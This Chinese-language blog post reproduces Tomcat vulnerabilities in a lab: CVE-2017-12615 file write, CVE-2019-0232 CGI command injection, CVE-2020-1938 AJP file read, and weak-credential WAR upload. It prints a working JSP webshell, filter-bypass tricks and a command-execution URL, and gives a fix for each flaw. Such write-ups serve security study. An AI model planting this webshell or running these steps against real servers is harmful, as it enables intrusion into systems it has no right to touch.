常見中間件:Tomcat漏洞復現分析
tomcat復現網上已經很多了,我就在這篇文章簡單的總結一下
Tomcat 任意文件寫入(CVE-2017-12615)
影響范圍: Tomcat 7.0.0-7.0.81(默認配置)
測試環境:Apache Tomcat v8.5.39
漏洞本質:Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false),導致我們可以往服務器寫文件。如果配置了默認servlet,則在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系統上的潛在危險的CVE-2017-12615漏洞。
docker打開環境https://github.com/vulhub/vulhub

docker psdocker exec -ti 9eb90787a80f bashcat conf/web.xml | grep readonly

可以看到Tomcat配置文件/conf/web.xml 配置了可寫(readonly=false)
抓個包,修改一下數據包改成put,寫入一個jsp文件
可以看到成功寫入任意文


既然可以寫入任意文件,那也可以寫入后門來getshell
jsp木馬:
<%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke(null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } }%><% String cls = request.getParameter("passwd"); if (cls != null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); }%>

如存在過濾,繞過方式:
- 文件后綴加/ ( 應用系統中 /在文件名中是非法的,會被自動去除)
- 文件后綴加::$DATA
- 文件后綴加&20 (windows不允許空格結尾
修復建議:將readonly=true,默認為true。
Tomcat 遠程代碼執行(CVE-2019-0232)
影響范圍:9.0.0.M1 ~ 9.0.17 , 8.5.0 ~ 8.5.39 , 7.0.0 ~ 7.0.93
測試環境:Apache Tomcat v8.5.39(apache V8.5.39)、windows
漏洞本質:CVE-2019-0232漏洞是由于Tomcat CGI將命令行參數傳遞給Windows程序的方式存在錯誤,使得CHIServler被命令注入影響。
該漏洞只影響Windows平臺,要求啟用了CGIServlet和enableCmdLineArguments參數。但是CGIServlet和enableCmdLineArguments參數默認情況下都不啟用。
376行和419行取消注釋并添加參數


debug0executable


在content.xml 19行處添加privileged屬性為true

在Tomcat\webapps\ROOT\WEB-INF新建cgi目錄,并創建xxx.bat文件,名字內容任意。
bin目錄下startup.bat 開啟tomcat服務
訪問http://your-ip/cgi-bin/test.bat?&C:/Windows/System32/net+user,執行net user 命令
(net命令的路徑要寫全,直接寫net user,Tomcat控制臺會提示net不是內部命令,也不是可運行的程序,另 必須使用+號連接,使用空格,%2B都會執行失敗,控制臺報錯。)

修復建議:這個默認是關閉的,如果打開了請關閉,若需使用請升級版本。
Tomcat 文件包含漏洞(CVE-2020-1938)
影響范圍:7 ~ 7.0.099 、8 ~ 8.5.50 、9 ~ 9.0.30
測試環境:Apache Tomcat v9.0.30
漏洞本質:由于 Tomcat AJP 協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector 可以讀取或包含 Tomcat 上所有 webapp 目錄下的任意文件,例如可以讀取 webapp 配置文件或源代碼。
此外在目標應用有文件上傳功能的情況下,配合文件包含的利用還可以達到遠程代碼執行的危害。

nmap掃到還有一個AJP端口8009正在監聽
使用工具讀取 web.xml文件
YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi: Tomcat-Ajp協議文件讀取漏洞 (github.com)
?:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

(這里試了一下能不能通過文件包含實現RCE,但是只會讀文件不會執行命令不知道怎么回事)
修復建議:將 Tomcat 升級到 9.0.31、8.5.51或 7.0.100 版本進行漏洞修復。如無法立即進行版本更新、或者是更老版本的用戶,建議直接關閉AJPConnector,或將其監聽地址改為僅監聽本機localhost。
Tomcat + 弱口令 && 后臺getshell漏洞
環境:Apache Tomcat/7.0.94
在conf/tomcat-users.xml文件中配置用戶的權限和一個弱口令tomcat/tomcat:
Tomcat 7+的權限有:
1. manager(后臺管理)
- manager-gui擁有html頁面權限
- manager-status擁有查看status的權限
- manager-script擁有text接口權限(包括status權限)
- manager-jmx擁有jmx權限(包括status權限)
2. host-manager(虛擬主機管理)
- admin-gui擁有html頁面權限
- admin-script擁有text接口權限
"manager-gui"/>"manager-script"/>"manager-jmx"/>"manager-status"/>"admin-gui"/>"admin-script"/>"tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

正常安裝的情況下,tomcat7.0.94中默認沒有任何用戶,且manager頁面只允許本地IP訪問。只有管理員手工修改了這些屬性的情況下,才可以進行攻擊。
訪問
http://127.0.0.1:8080/manager/html ,輸入弱口令tomcat/tomcat進入后臺(弱口令可以進行爆破)

寫一個jsp的木馬(見上),然后打包成war包,上傳的war會被自動解壓部署
jar -cvf shell.war shell.jsp
war包是用來進行Web開發時一個網站項目下的所有代碼,包括前臺HTML/CSS/JS代碼,以及后臺JavaWeb的代碼。當開發人員開發完畢時,就會將源碼打包給測試人員測試,測試完后若要發布則也會打包成War包進行發布。War包可以放在Tomcat下的webapps或word目錄,當Tomcat服務器啟動時,War包即會隨之解壓源代碼來進行自動部署。

可以看到已經上傳上去了,接著使用蟻劍連接后門127.0.0.1:8080/shell/shell.jsp

上傳的位置在webapps里

修復建議:取消manager/html功能。若要使用,manager頁面應只允許本地IP訪問